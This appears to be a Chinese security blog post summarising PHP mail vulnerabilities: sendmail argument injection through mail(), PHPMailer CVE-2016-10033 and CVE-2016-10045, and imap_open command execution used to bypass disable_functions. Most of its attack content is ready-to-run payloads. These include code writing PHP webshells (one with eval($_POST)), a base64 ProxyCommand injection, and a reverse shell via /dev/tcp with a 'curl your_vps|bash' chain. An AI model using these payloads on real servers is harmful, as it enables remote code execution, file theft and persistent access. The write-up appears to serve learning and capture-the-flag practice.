php写邮件空格_PHP 邮件漏洞小结

前言

此篇文件为有关PHP邮件漏洞的总结,如有错误,还请各位师傅指出。

PHP mail()函数介绍

1f38c3fad56a4b3be2581c0f73dead71.png

PHP mail()函数利用姿势

PHP中,mail的函数在底层是写好的,调用linux的sendmail程序来发送邮件,在额外参数中,sendmail还支持其他三个选项。

-X logfile :指定一个文件来记录邮件发送的详细日志。

-C file:临时加载一个配置文件(可以读文件)。

-O option=value :临时设置一个邮件储存的临时位置。

任意文件写入

代码如下:

php

$to = 'a@b.c';

$subject = '<?php system("whoami"); ?>';

$message = 'php system("ls");?>';

$headers = '';

$options = '-f lihuaiqiu@1 -OQueueDirectory=/tmp/ -X/root/1.php';

mail($to, $subject, $message, $headers, $options);

?>

实际运行命令为: /usr/bin/sendmail-t-i-f lihuaiqiu@1-OQueueDirectory=/tmp/-X/root/1.php

此命令简写形式 -f lihuaiqiu@1-oQ/tmp/-X/root/1.php可突破某些字符限制的地方。

查看并运行邮件日志1.php回显:

557678b2242570ea014a7a944e8fd872.png

成功将邮件内容写入日志,并进行了命令执行。

任意文件读取

代码如下:

php

$to = 'a@b.c';

$subject = '<?php system("whoami"); ?>';

$message = 'php system("ls");?>';

$headers = '';

$options = '-f lihuaiqiu@1 -C/etc/passwd -X/root/1.php';

mail($to, $subject, $message, $headers, $options);

?>

实际运行命令: /usr/bin/sendmail-t-i-f lihuaiqiu@1-C/etc/passwd-X/root/1.php

回显效果:

611923b3197acad2bdd70f0fb58333a9.png

成功读取敏感数据文件。

利用配置文件执行代码

上述两种情况只建立在我们的目录有写权限以及写入的文件可以执行条件下,但是如果我们面临着没有写权限或者无法执行写入文件该怎么办呢,这时就要用到新的姿势,利用配置文件执行代码。

找到一个上传点,上传一个静态文件,文件内容为sendmail的配置文件内容并在末尾加上如下代码:

Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,

R=EnvToL/HdrToL,

T=DNS/RFC822/X-Unix,

A=php -- $u $h ${client_addr}

原理:系统默认使用sendmail-mta来解析邮件的内容,这里添加的内容目的是覆盖默认的解析,使用PHP来解析邮件内容。

payload为 lihuaiqiu@1 -oQ/tmp -X ./upload/sendmail_cf

实际执行的命令: /usr/bin/sendmail-t-i-f lihuaiqiu@1-oQ/tmp-X./upload/sendmail_cf

将邮件内容以php方式进行解析进行命令执行。

CVE-2016-10033分析

上面我们分析了PHP中mail函数产生的漏洞,而这个cve phpmailer正是因为第五个参数过滤的不严谨导致的漏洞,下面开始进行分析,代码在https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php

61856eec3c56551b3f949ba3b27d3da5.png

首先定位找到mail函数,需要满足三个条件,才可以进行五个参数的mail函数执行,需满足:没有开启safe_mode模式以及$params非Null

然后在接下来的代码寻找$params这个值是怎么来的

dc4fc1db80a0af41a52062316720bf82.png

很明显可以看到$params来自于$this->Sender,并且在下面的执行语句中,$params变量会传递进mailPassthru函数中进而给mail函数当作第五个参数。

接着跟进$this->sender

2c0d64cea277f47860660c2e1688f4fe.png

可以从函数中看出来,$address经过strpos函数以及validataAddress的检测,最终把值赋给$this->sender

跟进validataAddress函数

fcb980661289bc098cc279d1352057f2.png

可以看到依然用了strpos进行了一次检测,接着向下走会看到如果PHP_VERSION<5.2的话,则选择noregex模式对$address进行检测

a9ed31fc009b9fbf79169db769e81519.png

这是一个很鸡肋的检测,基本上payload中含有@就可以的。

最终构造exp: lihuaiqiu@1-oQ/tmp-X/var/www/backdoor.php,最终将日志文件写入backdoor.php中。

漏洞环境https://github.com/opsxcq/exploit-CVE-2016-10033

漏洞利用条件

php version < 5.2.0 no pcre phpmailer < 5.2.18 php safe_mode = false

exp回显截图

07f2d2b039d43d741ecbb7fc1cee72a5.png

Bypass pcre8

221c9d5aa051b9110d251a9df2c6447f.png

如果能bypass掉这个恶心的正则,那么利用条件就方便了很多,可以发现在@前面加括号就会可以进行bypass payload为 a(-X/home/www/backdoor.php-OQueueDirectory=/tmp)@qq.com

CVE-2016-10045分析

57230a84b516f3a9cde2da75d6dc55b6.png

主要更新点在于对于$this->Sender的函数过滤问题,下面来看一下这个函数的具体情况

c0acde01610b86357857a747e29e7629.png

其作用我放张图基本就会懂的

对于代码

php

$str="a'( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";

$c=escapeshellarg($str);

echo $c;

echo "";

$str="a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";

$b=escapeshellarg($str);

echo $b;

运行结果为

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

'a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

可以看到此函数将传入的单引号进行了一次转义,并且自己为其他两端字符串添加了单引号,保证两端字符串正确解析.

但是此时出现了问题,mail函数自带escapeshellcmd函数过滤

c678dd5055322e27835738747f950170.png

对于这个函数,我们的上一个payload就会失效的 a(-X/home/www/backdoor.php-OQueueDirectory=/tmp)@qq.com,原因在于()被转义。

escapeshellcmd与escapeshellarg导致参数注入

当$this->sender同时被这两个参数处理的话,就会导致单引号逃逸,如下代码测试

php

$str="a'( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";

$c=escapeshellarg($str);

echo $c;

echo escapeshellcmd($c);

运行结果:

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com\'

最终sendmail形式为 -fa\( , -X/home/www/backdoor.php , -OQueueDirectory=/tmp , )@qq.com'

本地测试代码:

php

$to = 'a@b.c';

$subject = '<?php system("whoami"); ?>';

$message = 'php system("ls");?>';

$headers = '';

$options = "'-fa'\\''\( -OQueueDirectory=/tmp -X/root/lihuaiqiu.php \)@a.com\'";

mail($to, $subject, $message, $headers, $options);

?>

1b6e5282b9ed13a09c1cfb3a43c397a4.png

测试结果:

运行的时候会有一些报错的,但是仍然可以写入文件。

imap_open RCE 分析

imapopen为介绍的第二种漏洞,imapopen同样也常用于在php中bypass disable_functions

IMAP介绍

Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP/IP连接从邮件服务器检索电子邮件的Internet标准协议,IMAP服务器通常侦听端口号143,在php函数中,imap_open正用于打开邮箱的IMAP流。

函数介绍如下:

d6178d68014aeba95be672269986d075.png

mailbox参数详解:

{[host]}:[port][flags]}[mailbox_name]

  • host:标准主机(服务器的域名或者IP地址)

  • port:主机端口

  • flags:可选标志

  • mailbox_name:远程邮箱名称,默认为INBOX

flags可选标志列表如下: 4bee7efe43fe100b61cec8303cb318e8.png

具体链接:https://www.php.net/manual/zh/function.imap-open.php

漏洞主要触发原理:

如下实例:

@imap_open('{localhost}:143 / imap} INBOX','','');

分析:localhost为我们执行命令的参数之一,所以我们可以操纵服务器参数来构造恶意IMAP服务器来执行我们想要的命令,原理为:在php.ini中imap.enableinsecurersh参数为On的情况下,执行imap_open函数时/usr/bin/rsh被链接到ssh指令,所以通过ssh的-o选项我们可以进行命令执行。这里我们可以看一下ssh中可以执行命令的参数:

e3da8746f4d8c76a1768aae7ea191d9a.png

通过这个参数,我们就可以执行我们想要的命令了。

例如官方exp中给出的命令

ssh -oProxyCommand ="echo hello | tee / tmp / executed"localhost

33979aec7a181fe606900e89cfb2f53e.png

通过我做的两个实验的例子,可以很清晰的看出构造出来的恶意邮箱服务器参数所造成的危害。

但是在PHP中填写邮箱参数的时候却不能这么直白的将此恶意邮箱参数填写

因为在解析的时候,PHP会将空格解释为分隔符以及斜杠作为标志,这里空格还是比较好绕过的,利用$IFS shell变量以及\t都可以进行替换空格,绕过斜杠的方法则是用base64进行编码。

如:echo bHM=|base64 -d|bash等于与ls。

docker中模拟测试

docker pull fedosov/docker-php-imap-composer

docker run -i -t -d fedosov/docker-php-imap-composer /bin/bash

docker exec -it 9017603a0e13 /bin/bash

模拟一个imap的邮件发送脚本,脚本代码如下:

php

$payload = "echo lihuaiqiu|tee /tmp/success";

$encoded_payload = base64_encode($payload);

$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";

@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

运行回显如下:

22488ee8239651dce3f74085c36910e6.png

我们通过构造恶意服务器参数,成功的建立了我们想要的文件,通过此功能我们可以写webshell达到我们想要目的。

Bypass disable_functions

理解了这个漏洞的原理,我们就能知道这个功能是可以bypass disable_functions的。

下面来具体分析一下:

在存在RFI或LFI的情况下:

我们通过imap_open建立一个内容为\的1.php

运行脚本如下

php

$server = "any -o ProxyCommand=echo\t'\<?php \tsystem(whoami);?>'\t>\t1.php";

@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

存在RFI漏洞文件:

php

include($file);

?>

我们可以控制$file参数为我们刚才设置的1.php

回显结果:

16c49a9ac957098575ff48a23cec76a0.png

安恒二月赛场景分析

由于没有环境,只能分析一下关键部分的思路

本题同样为imap_open所产生的漏洞.关键部分的在于对base64以及|的过滤,但是这个是存在上传图片的地方,所以我们可以通过bash+图片名来执行我们想要的命令

本地代码复现:

运行脚本如下:

php

$server = "any -o ProxyCommand=bash\t1.jpg";

@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

1.jpg内容为

echo"<?php @eval($_POST['li']);?>">webshell.php

回显结果:

c2c4e30619a1ba4b15735dbcb4e96aeb.png

成功的打出webshell.

另一个思考:

如果这道题没有上传文件的助攻该怎么办?

其实在上面我们可以看见,这个是有建立文件的功能的,所以我们可以根据hitcon的一道题的思路:

先建立我们所需要的文件名,比如文件名最后需要的是 curl your_vps|bash,在文件的index.html中写入反弹bash的一句话:

bash -i >& /dev/tcp/vps/port 0>&1

通过建立如下文件名

'\>sh\ '

'>ba\\\\\'

'>\\\|\\\\'

中间省略一些建立ip的过程

'>rl\\\\'

'>cu\\\\'

最后通过命令ls -t>g将文件名导入g中,执行命令sh g,最终反弹shell。

1bf52b570e46009d3f96864cf36ba8c2.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值